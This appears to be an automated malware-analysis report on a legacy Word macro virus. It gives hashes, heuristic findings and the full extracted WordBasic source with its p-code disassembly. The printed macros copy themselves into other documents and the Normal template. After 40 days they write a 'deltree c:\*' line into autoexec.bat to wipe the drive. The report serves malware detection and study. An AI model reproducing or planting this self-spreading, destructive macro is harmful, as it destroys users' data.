RSN MACRO VIRUS — Office (OLE) malware analysis

Static analysis result for SHA-256 80a0f4b1e77e229d…

MALICIOUS

Office (OLE)

35.5 KB Created: 1997-03-23 12:47:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e5d9a24f6bae9f5e4ba9a939a40fb1a1 SHA-1: 99143e10d2ddaa7194c3849c038fc249b7a43eb3 SHA-256: 80a0f4b1e77e229dce5bce00256ca473405c9b5c51a67cf93a41d971d143441d
76 Risk Score

Malware Insights

RSN MACRO VIRUS · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

This document contains legacy WordBasic macro virus markers and explicitly identifies itself as an 'RSN MACRO VIRUS Goat file'. The AutoOpen and AutoClose macros are designed to copy themselves to other documents, ensuring propagation. The file's metadata and embedded text confirm its age and origin.

Heuristics 4

  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Name = "AutoClose"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8781 bytes
SHA-256: c430e44de70c7f5a9a61cb51f6d205792dcb7edad3f1de5942e736f3f77ca102
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Attribute MAIN.VB_Description = "F%"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoClose.MAIN"
Dim n$
Dim m$
Dim a$
Dim t$
Dim o$
Dim c$
'ver. 6.0520.24
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
On Error GoTo -1: On Error GoTo quit
WordBasic.CurValues.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
n$ = WordBasic.[FileName$]()
m$ = WordBasic.[DefaultDir$](2) + "\norm"
a$ = ":Auto"
t$ = m$ + "al"
o$ = a$ + "Open"
c$ = a$ + "Close"
WordBasic.MacroCopy t$ + o$, (n$ + o$), 1
WordBasic.MacroCopy t$ + c$, (n$ + c$), 1
WordBasic.FileSaveAs dlg
GoTo done
quit:
If Err.Number <> 102 Then WordBasic.FileSaveAs dlg
WordBasic.MsgBox Str(Err.Number), -2
done:
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "F%"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim name_$
Dim ver
Dim n$
Dim m$
Dim a$
Dim t$
Dim o$
Dim c$
Dim w$
Dim m_
Dim c_
Dim o_
Dim t2$
'ver. 6.059.27
name_$ = "Gest"
ver = 2
n$ = WordBasic.[FileName$]()
m$ = WordBasic.[DefaultDir$](2) + "\norm"
a$ = "Auto"
t$ = m$ + "al"
o$ = ":" + a$ + "Open"
c$ = ":" + a$ + "Close"
w$ = "win.ini"
On Error GoTo -1: On Error GoTo quit
For m_ = 1 To WordBasic.CountMacros(0, 0)
c_ = -(WordBasic.[MacroName$](m_, 0, 0) = c$)
o_ = -(WordBasic.[MacroName$](m_, 0, 0) = o$)
Next m_
If WordBasic.Val(WordBasic.[GetPrivateProfileString$](name_$, a$, w$)) > ver Then
WordBasic.MacroCopy t$ + o$, (n$ + o$)
WordBasic.MacroCopy t$ + c$, (t2$ + c$)
ElseIf Not c_ And Not o_ Then
WordBasic.MacroCopy n$ + o$, (t$ + o$)
WordBasic.MacroCopy n$ + c$, (t$ + c$)
WordBasic.SetPrivateProfileString name_$, a$, Str(ver), w$
WordBasic.SetPrivateProfileString name_$, "date", Str(WordBasic.Today()), w$
End If
If WordBasic.Val(WordBasic.[GetPrivateProfileString$](name_$, "date", w$)) + 40 < WordBasic.Today() Then
WordBasic.FileOpen Name:="c:\" + a$ + "exec.bat", AddToMru:=0
WordBasic.StartOfDocument
WordBasic.Insert "@deltree c:\*>nul"
WordBasic.InsertPara
WordBasic.DocClose 1
End If
quit:
WordBasic.ToolsOptionsSave GlobalDotPrompt:=1
End Sub

' Processing file: /tmp/qstore_wwokdfk8
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoClose - 2513 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn n
' Line #3:
' 	Dim 
' 	VarDefn m
' Line #4:
' 	Dim 
' 	VarDefn a
' Line #5:
' 	Dim 
' 	VarDefn t
' Line #6:
' 	Dim 
' 	VarDefn o
' Line #7:
' 	Dim 
' 	VarDefn c
' Line #8:
' 	QuoteRem 0x0000 0x000E "ver. 6.0520.24"
' Line #9:
' 	LitDI2 0x0000 
' 	ParamNamed GlobalDotPrompt 
' 	Ld WordBasic 
' 	ArgsMemCall ToolsOptionsSave 0x0001 
' Line #10:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #11:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError quit 
' Line #12:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #13:
' 	Ld dlg 
' 	MemLd Format$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' 	EndIf 
' Line #14:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St n$ 
' Line #15:
' 	LitDI2 0x0002 
' 	Ld WordBasic 
' 	ArgsMemLd [DefaultDir$] 0x0001 
' 	LitStr 0x0005 "\norm"
' 	Add 
' 	St m$ 
' Line #16:
' 	LitStr 0x0005 ":Auto"
' 	St a$ 
' Line #17:
' 	Ld m$ 
' 	LitStr 0x0002 "al"
' 	Add 
' 	St t$ 
' Line #18:
' 	Ld a$ 
' 	LitStr 0x0004 "Open"
' 	Add 
' 	St o$ 
' Line #19:
' 	Ld a$ 
' 	LitStr 0x0005 "Close"
' 	Add 
' 	St c$ 
' Line #20:
' 	Ld t$ 
' 	Ld o$ 
' 	Add 
' 	Ld n$ 
' 	Ld o$ 
' 	Add 
' 	Paren 
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0003 
' Line #21:
' 	Ld t$ 
' 	Ld c$ 
' 	Add 
' 	Ld n$ 
' 	Ld c$ 
' 	Add 
' 	Paren 
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0003 
' Line #22:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #23:
' 	GoTo done 
' Line #24:
' 	Label quit 
' Line #25:
' 	Ld Err 
' 	MemLd Number 
' 	LitDI2 0x0066 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' 	EndIf 
' Line #26:
' 	Ld Err 
' 	MemLd Number 
' 	ArgsLd Str 0x0001 
' 	LitDI2 0x0002 
' 	UMi 
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0002 
' Line #27:
' 	Label done 
' Line #28:
' 	EndSub 
' Macros/VBA/AutoOpen - 3576 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn name_
' Line #3:
' 	Dim 
' 	VarDefn ver
' Line #4:
' 	Dim 
' 	VarDefn n
' Line #5:
' 	Dim 
' 	VarDefn m
' Line #6:
' 	Dim 
' 	VarDefn a
' Line #7:
' 	Dim 
' 	VarDefn t
' Line #8:
' 	Dim 
' 	VarDefn o
' Line #9:
' 	Dim 
' 	VarDefn c
' Line #10:
' 	Dim 
' 	VarDefn w
' Line #11:
' 	Dim 
' 	VarDefn m_
' Line #12:
' 	Dim 
' 	VarDefn c_
' Line #13:
' 	Dim 
' 	VarDefn o_
' Line #14:
' 	Dim 
' 	VarDefn t2
' Line #15:
' 	QuoteRem 0x0000 0x000D "ver. 6.059.27"
' Line #16:
' 	LitStr 0x0004 "Gest"
' 	St name_$ 
' Line #17:
' 	LitDI2 0x0002 
' 	St ver 
' Line #18:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St n$ 
' Line #19:
' 	LitDI2 0x0002 
' 	Ld WordBasic 
' 	ArgsMemLd [DefaultDir$] 0x0001 
' 	LitStr 0x0005 "\norm"
' 	Add 
' 	St m$ 
' Line #20:
' 	LitStr 0x0004 "Auto"
' 	St a$ 
' Line #21:
' 	Ld m$ 
' 	LitStr 0x0002 "al"
' 	Add 
' 	St t$ 
' Line #22:
' 	LitStr 0x0001 ":"
' 	Ld a$ 
' 	Add 
' 	LitStr 0x0004 "Open"
' 	Add 
' 	St o$ 
' Line #23:
' 	LitStr 0x0001 ":"
' 	Ld a$ 
' 	Add 
' 	LitStr 0x0005 "Close"
' 	Add 
' 	St c$ 
' Line #24:
' 	LitStr 0x0007 "win.ini"
' 	St w$ 
' Line #25:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError quit 
' Line #26:
' 	StartForVariable 
' 	Ld m_ 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	For 
' Line #27:
' 	Ld m_ 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	Ld c$ 
' 	Eq 
' 	Paren 
' 	UMi 
' 	St c_ 
' Line #28:
' 	Ld m_ 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	Ld o$ 
' 	Eq 
' 	Paren 
' 	UMi 
' 	St o_ 
' Line #29:
' 	StartForVariable 
' 	Ld m_ 
' 	EndForVariable 
' 	NextVar 
' Line #30:
' 	Ld name_$ 
' 	Ld a$ 
' 	Ld w$ 
' 	Ld WordBasic 
' 	ArgsMemLd [GetPrivateProfileString$] 0x0003 
' 	Ld WordBasic 
' 	ArgsMemLd Val 0x0001 
' 	Ld ver 
' 	Gt 
' 	IfBlock 
' Line #31:
' 	Ld t$ 
' 	Ld o$ 
' 	Add 
' 	Ld n$ 
' 	Ld o$ 
' 	Add 
' 	Paren 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #32:
' 	Ld t$ 
' 	Ld c$ 
' 	Add 
' 	Ld t2$ 
' 	Ld c$ 
' 	Add 
' 	Paren 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #33:
' 	Ld c_ 
' 	Not 
' 	Ld o_ 
' 	Not 
' 	And 
' 	ElseIfBlock 
' Line #34:
' 	Ld n$ 
' 	Ld o$ 
' 	Add 
' 	Ld t$ 
' 	Ld o$ 
' 	Add 
' 	Paren 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #35:
' 	Ld n$ 
' 	Ld c$ 
' 	Add 
' 	Ld t$ 
' 	Ld c$ 
' 	Add 
' 	Paren 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #36:
' 	Ld name_$ 
' 	Ld a$ 
' 	Ld ver 
' 	ArgsLd Str 0x0001 
' 	Ld w$ 
' 	Ld WordBasic 
' 	ArgsMemCall SetPrivateProfileString 0x0004 
' Line #37:
' 	Ld name_$ 
' 	LitStr 0x0004 "date"
' 	Ld WordBasic 
' 	ArgsMemLd Today 0x0000 
' 	ArgsLd Str 0x0001 
' 	Ld w$ 
' 	Ld WordBasic 
' 	ArgsMemCall SetPrivateProfileString 0x0004 
' Line #38:
' 	EndIfBlock 
' Line #39:
' 	Ld name_$ 
' 	LitStr 0x0004 "date"
' 	Ld w$ 
' 	Ld WordBasic 
' 	ArgsMemLd [GetPrivateProfileString$] 0x0003 
' 	Ld WordBasic 
' 	ArgsMemLd Val 0x0001 
' 	LitDI2 0x0028 
' 	Add 
' 	Ld WordBasic 
' 	ArgsMemLd Today 0x0000 
' 	Lt 
' 	IfBlock 
' Line #40:
' 	LitStr 0x0003 "c:\"
' 	Ld a$ 
' 	Add 
' 	LitStr 0x0008 "exec.bat"
' 	Add 
' 	ParamNamed New 
' 	LitDI2 0x0000 
' 	ParamNamed AddToMru 
' 	Ld WordBasic 
' 	ArgsMemCall FileOpen 0x0002 
' Line #41:
' 	Ld WordBasic 
' 	ArgsMemCall StartOfDocument 0x0000 
' Line #42:
' 	LitStr 0x0011 "@deltree c:\*>nul"
' 	Ld WordBasic 
' 	ArgsMemCall Insert 0x0001 
' Line #43:
' 	Ld WordBasic 
' 	ArgsMemCall InsertPara 0x0000 
' Line #44:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemCall DocClose 0x0001 
' Line #45:
' 	EndIfBlock 
' Line #46:
' 	Label quit 
' Line #47:
' 	LitDI2 0x0001 
' 	ParamNamed GlobalDotPrompt 
' 	Ld WordBasic 
' 	ArgsMemCall ToolsOptionsSave 0x0001 
' Line #48:
' 	EndSub